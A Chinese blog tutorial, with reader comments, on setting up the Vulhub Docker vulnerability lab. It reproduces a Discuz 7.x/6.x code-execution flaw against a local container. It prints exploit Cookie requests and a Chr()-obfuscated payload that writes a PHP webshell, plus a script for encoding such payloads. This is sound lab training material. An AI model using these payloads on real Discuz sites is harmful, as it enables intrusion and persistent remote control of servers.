简介
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
物理机:Windows 10
虚拟机:Centos 7192.168.1.13,网卡设置为NAT模式
环境安装
安装Docker
$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
安装Docker-Compose
下面提供2种安装方式,2选1即可
离线安装。先到Docker-Compose下载最新版本的docker-compose-linux-x86_64,并上传到虚拟机
# 然后将其移动到/usr/local/bin目录并改名为docker-compose $ mv docker-compose-Linux-x86_64 /usr/local/bin/docker-compose # 添加执行权限 $ sudo chmod +x /usr/local/bin/docker-compose # 验证 $ docker-compose version
Pip安装
# 安装docker-compose $ pip install docker-compose # 如果没有pip需要先安装 $ yum -y install epel-release $ yum -y install python-pip $ pip --version # 查看pip版本 # 可能会遇到一个ReadTimeoutError的错误,需要修改pip源,请看文末问题汇总
安装Vulhub
同上,两种方法2选1
离线安装。下载Vulhub压缩包,并上传到虚拟机任意目录,这里放在/root/目录
# 创建一个vulhub目录并将压缩包放进去 $ mkdir vulhub && mv master.zip vulhub/ && cd vulhub/ # 解压 $ unzip master.zip
Git安装
$ git clone https://github.com/vulhub/vulhub.git # 如果没有Git需要先安装 $ yum install -y git
Docker加速
可选。配置阿里云镜像加速
这里的加速器地址可以在阿里云容器加速服务中的镜像加速器获取
$ sudo mkdir -p /etc/docker
$ vim /etc/docker/daemon.json
# 加入以下代码
{
"registry-mirrors": ["加速器地址"]
}
$ sudo systemctl daemon-reload
$ sudo systemctl restart docker
靶场使用
选择漏洞环境,在Vulhub中选择某个环境,cd进入对应目录
$ cd vulhub/discuz/wooyun-2010-080723/
可选。可以通过vi编辑其中的docker-compose.yml,修改端口和账号密码
$ vi docker-compose.yml
启动环境:
$ docker-compose up -d # 启动环境 $ docker-compose down # 关闭环境,需要在该环境目录下执行
可选。编译环境。启动环境后,会自动查找当前目录下的配置文件。
如果配置文件中包含的环境均已经存在,则不会再次编译,反之则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。
但是如果更新了配置文件,则需要手工来重新编译靶场环境。
$ docker-compose build
物理机访问容器
经过上面的配置,已经可以在虚拟机Centos7中使用浏览器访问对应的漏洞环境。但此时物理机是无法通过浏览器访问漏洞环境的,需要手动配置静态路由,将通往Docker的数据包交给虚拟机192.168.1.13来转发
先查看一下Docker容器的IP
$ docker ps # 查看运行服务端口 CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES a4eed382479c vulhub/discuz:7.2 "docker-php-entrypoi…" About a minute ago Up About a minute 0.0.0.0:8080->80/tcp wooyun-2010-080723_discuz_1 15b46d6919a9 mysql:5.5 "docker-entrypoint.s…" About a minute ago Up About a minute 3306/tcp wooyun-2010-080723_db_1 $ docker inspect [容器ID] | grep IPAddress # [容器ID]为漏洞环境所在容器,此处为a4eed382479c # "IPAddress": "172.18.0.3"
先关闭虚拟机防火墙
$ systemctl stop firewalld.service
物理机使用管理员模式打开CMD
$ route add -p 172.18.0.0 mask 255.255.0.0 192.168.1.13 # -p 永久路由,重启系统路由仍有效 $ route print # 打印当前路由表 ============================================= 永久路由: 网络地址 网络掩码 网关地址 跃点数 172.18.0.0 255.255.0.0 192.168.1.13 1 =============================================
下面,就以前面选择的靶场vulhub/discuz/wooyun-2010-080723/来进行复现,该目录内靶场环境对应的漏洞是Discuz 7.x/6.x 全局变量防御绕过导致代码执行。如需复现其它漏洞可以参考:Vulhub-漏洞环境
启动环境
选择漏洞环境。首先在Vulhub中选择靶场环境,cd进入对应目录
$ cd vulhub/discuz/wooyun-2010-080723/
修改端口和账号密码(可选)。可以通过vi编辑其中的docker-compose.yml来进行修改
$ vi docker-compose.yml
启动环境
$ docker-compose up -d # 启动环境 # Starting wooyun-2010-080723_db_1 ... done # Starting wooyun-2010-080723_discuz_1 ... done
查看靶机运行端口
# 主要看容器ID和端口,然后通过容器ID查看IP $ docker ps # 查看运行服务端口 ========================================== CONTAINER ID IMAGE PORTS a4eed382479c vulhub/discuz:7.2 0.0.0.0:8080->80/tcp ========================================== $ docker inspect [容器ID] | grep IPAddress # [容器ID]为漏洞环境所在容器,此处为a4eed382479c # "IPAddress": "172.18.0.3"
复现步骤
浏览器访问http://[IP]:[Port]/install/,安装数据库。数据库服务器填写db,数据库名为discuz,数据库账号密码均为root,管理员密码任意。填写联系方式页面直接点击跳过本步后跳转到首页
登录成功后进入默认板块,开启Burp抓包,然后随便点击一篇贴子
将Cookie修改为下面,点击放包
# EXP Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); =============================================== # 此时完整的报文如下: GET /viewthread.php?tid=13&extra=page%3D1 HTTP/1.1 Host: 172.18.0.3 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Referer: http://172.18.0.3/forumdisplay.php?fid=2 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo(); Connection: close ===============================================
此时可以看到phpinfo()被执行
前台GetShell
同样方法传入以下Cookie写入一句话木马文件,文件为x.php,密码为pwd
# EXP Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
访问http://[IP]:[Port]/x.php,POST数据测试成功,且使用蚁剑连接也成功
其它
复现完之后可以通过以下命令关闭环境,但注意此命令需要在对应环境目录下执行
$ docker-compose down # Stopping wooyun-2010-080723_discuz_1 ... done # Stopping wooyun-2010-080723_db_1 ... done # Removing wooyun-2010-080723_discuz_1 ... done # Removing network wooyun-2010-080723_default
检查是否关闭
$ docker ps
附一个ASCII码和字符互相转换的小脚本,方便修改POC的文件名和密码
import re
# ASCII = ord(Word)
# Word = chr(ASCII)
# ASCII -> Word
def ASCII2word(ASCIIs):
for c in re.findall(r"(\d+)", ASCIIs):
print(chr(int(c)),end="")
# Word -> ASCII
def word2ASCII(words):
ASCIIs = ""
for word in words:
ASCIIs += "Chr(" + str(ord(word)) + ")."
print(ASCIIs)
asciis = "Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(109).Chr(105).Chr(115).Chr(104).Chr(105).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(116).Chr(101).Chr(115).Chr(116).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59)"
ASCII2word(asciis)
words = "fputs(fopen('x.php','w'),'<?php @eval($_POST[pwd])?>');"
word2ASCII(words)
问题汇总
下载Docker时候出现错误curl: (6) Could not resolve host: get.docker.com; Unknown error
# 原因: DNS出现问题,修改DNS即可 $ vim /etc/resolv.conf # 修改DNS # Generated by NetworkManager nameserver 223.5.5.5 # AliDNS
出现问题:ERROR: Couldn’t connect to Docker daemon at http+docker://localhost – is it running
$ service docker status # 查看Docker状态 $ service docker start # 启动Docker
删除全部镜像
# 如果想删除某个漏洞环境所有内容(包括镜像、容器、磁盘卷、网络),可以执行 $ docker-compose down --rmi all -v
删除永久路由
$ route delete 172.18.0.0 # 删除路由
Docker未启动
$ service docker status # 查看状态 # Active: inactive (dead) # 出现此条即未启动 $ service docker start
Pip安装时出现ReadTimeoutError错误
$ mkdir ~/,pip/ $ cd ~/,pip/ $ vim pip.conf # 添加以下代码 [global] index-url=https://mirrors.aliyun.com/pypi/simple/ $ pip install --upgrade pip # 更新pip


浙江省杭州市 1F
Docker命令这么简单就能搭环境?
日本 2F
这个路由配置步骤有点多啊
韩国 B1
@ TechOracle 试了几次才搞通,后面静态路由更麻烦
上海市普陀区 3F
虚拟机网络设置太折腾了
浙江省台州市路桥区 B1
@ 有没有搞错 虚拟机那个NAT模式老连不上,头疼
广西 4F
有没有更简单的安装方法?
上海市 B1
@ 暗狱 路由配置好麻烦,有更简单的方法吗
香港 5F
之前配docker-compose折腾了半天
上海市 6F
这靶场对新手挺友好的
江苏省连云港市 B1
@ 云霄仙子 新手真的上手快,我刚跑完就开始练习
澳大利亚 7F
为啥我的pip一直报错啊
辽宁省抚顺市 B1
@ 风筝追风者 换源就好了,阿里云那个镜像速度还行
日本 8F
直接两条命令就能跑起来666
澳大利亚 B1
@ 虚妄之翼 两条命令直接起,省得折腾,爽翻了
中国 9F
防火墙关了会不会有风险?
新加坡 10F
那个ASCII转换脚本挺实用的
黑龙江省大庆市 B1
@ HyperGlitch 那个ASCII转换我直接做成小工具了,方便。
山东省德州市 11F
之前搭环境卡在docker-compose版本不匹配上,折腾一晚上
安徽省合肥市 12F
Centos7上直接yum装docker不行吗
北京市 13F
这靶场能自己加漏洞环境不
浙江省嘉兴市海宁市 B1
@ 林深时见鹿 自己加环境?看GitHub好像能提PR,但得会写docker-compose.yml
湖北省孝感市 B1
@ 林深时见鹿 直接改脚本就能加,我试过拉第三方镜像。
北京市 14F
那个Cookie绕过姿势有点骚啊
韩国 15F
物理机访问那步没看明白,必须配路由?
陕西省西安市 16F
用起来还行,就是文档里命令复制老出问题
湖北省武汉市 B1
@ 清晨小鱼 复制粘贴老出错,我改成手敲就稳了
四川省乐山市 17F
ascii脚本收了,改密码方便多了
山东省青岛市 18F
新手试了下,真就两行命令跑起来了,比想象中简单
中国 B1
@ MoodAF 这靶场对新手确实友好,比想象中简单
澳大利亚 19F
路由那步我直接桥接网卡绕过去了,NAT太麻烦
日本 20F
pip源不换根本装不上,文档里这步藏太深了
英国 21F
那个Cookie注入姿势绝了,原来还能这样打全局变量
韩国 22F
之前搭别的靶场光配网络就搞崩两次,这个算省心了
陕西省西安市 23F
防火墙关了确实慌,但临时测试也懒得配规则了
韩国 B1
@ 裁缝苏绣 关防火墙确实心慌,但测试完立马开回来呗。
重庆市 24F
Docker加速地址填错一次,拉镜像等到怀疑人生
北京市 B1
@ 慵懒豹美人 两条命令确实省事,之前搭别的靶场要搞半天
上海市 25F
有没有人试过在WSL2上跑?不想开虚拟机了
台湾省 26F
ascii转chr那段脚本救大命,手写POC再也不用查表了
湖北省武汉市 27F
防火墙关了还是有点慌
上海市 28F
那个Cookie注入学到了,原来全局变量还能这么玩
上海市松江区 29F
@豆包 你这靶场能联网打不
荷兰 B1
@ Vega龙 能联网打,按文章说的配置好虚拟机和Docker,物理机访问可能需要手动配静态路由。
江苏省南京市 30F
ascii脚本收了,改密码方便
日本 31F
pip源不换根本装不上+1
辽宁省抚顺市 32F
虚拟机网络设置能不能跳过啊
江苏省苏州市 33F
为啥我docker-compose一直报错
日本 34F
物理机访问那步没搞懂,必须配静态路由?
河南省郑州市 35F
桥接网络也行,不过得小心IP冲突。
陕西省铜川市 36F
这命令看着简单,第一次还是手抖复制错了。
湖南省长沙市 37F
pip报错是不是版本问题?我之前踩过。
江西省 38F
WSL2上跑记得开systemd,不然docker起不来。
北京市 39F
路由不配的话,容器根本不通外网啊。
日本 40F
感觉文档步骤是全的,就是细节容易漏。
四川省绵阳市 41F
我自己加了个shiro环境,改compose就行。
山东省滨州市 42F
防火墙临时关一下还好,主要别连外网。
广东省广州市 43F
docker-compose报错多半是权限没给够。
北京市 44F
物理机访问必须走路由或者换网络模式。
辽宁省沈阳市和平区 45F
配路由那段卡了半天,原来要管理员cmd。